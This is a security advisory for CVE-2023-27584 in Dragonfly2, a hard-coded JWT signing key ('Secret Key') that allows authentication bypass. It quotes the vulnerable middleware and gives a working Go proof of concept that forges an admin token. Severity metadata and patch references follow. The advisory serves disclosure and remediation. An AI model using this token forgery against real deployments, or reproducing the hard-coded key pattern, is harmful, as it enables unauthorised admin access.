Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1ocGM4LTd3cG0tODg5d84AA_sM

Dragonfly2 has hard coded cyptographic key

Summary

Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.

Details

Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass

authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{
		Realm:       "Dragonfly",
		Key:         []byte("Secret Key"),
		Timeout:     2 * 24 * time.Hour,
		MaxRefresh:  2 * 24 * time.Hour,
		IdentityKey: identityKey,

		IdentityHandler: func(c *gin.Context) any {
			claims := jwt.ExtractClaims(c)

			id, ok := claims[identityKey]
			if !ok {
				c.JSON(http.StatusUnauthorized, gin.H{
					"message": "Unavailable token: require user id",
				})
				c.Abort()
				return nil
			}

			c.Set("id", id)
			return id
		})

PoC

Use code below to generate a jwt token

package main

import (
	"errors"
	"fmt"
	"time"

	"github.com/golang-jwt/jwt/v4"
)

func (stc *DragonflyTokenClaims) Valid() error {
	// Verify expiry.
	if stc.ExpiresAt <= time.Now().UTC().Unix() {
		vErr := new(jwt.ValidationError)
		vErr.Inner = errors.New("Token is expired")
		vErr.Errors |= jwt.ValidationErrorExpired
		return vErr
	}
	return nil
}

type DragonflyTokenClaims struct {
	Id        int32 `json:"id,omitempty"`
	ExpiresAt int64 `json:"exp,omitempty"`
	Issue     int64 `json:"orig_iat,omitempty"`
}

func main() {
	signingKey := "Secret Key"
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
		ExpiresAt: time.Now().Add(time.Hour).Unix(),
		Id:        1,
		Issue:     time.Now().Unix(),
	})
	signedToken, _ := token.SignedString([]byte(signingKey))
	fmt.Println(signedToken)
}

And send request with JWT above , you can still get data without restriction.

Impact

An attacker can perform any action as a user with admin privileges.

Permalink: https://github.com/advisories/GHSA-hpc8-7wpm-889w
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocGM4LTd3cG0tODg5d84AA_sM
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: 3 months ago
Updated: 3 months ago

CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS Percentage: 0.05588
EPSS Percentile: 0.93172

Identifiers: GHSA-hpc8-7wpm-889w, CVE-2023-27584
References:

• https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w
• https://github.com/dragonflyoss/Dragonfly2/commit/e9da69dc4048bf2a18a671be94616d85e3429433
• https://nvd.nist.gov/vuln/detail/CVE-2023-27584
• https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9
• https://github.com/advisories/GHSA-hpc8-7wpm-889w

Repository: https://github.com/dragonflyoss/Dragonfly2
Blast Radius: 3.0

Affected Packages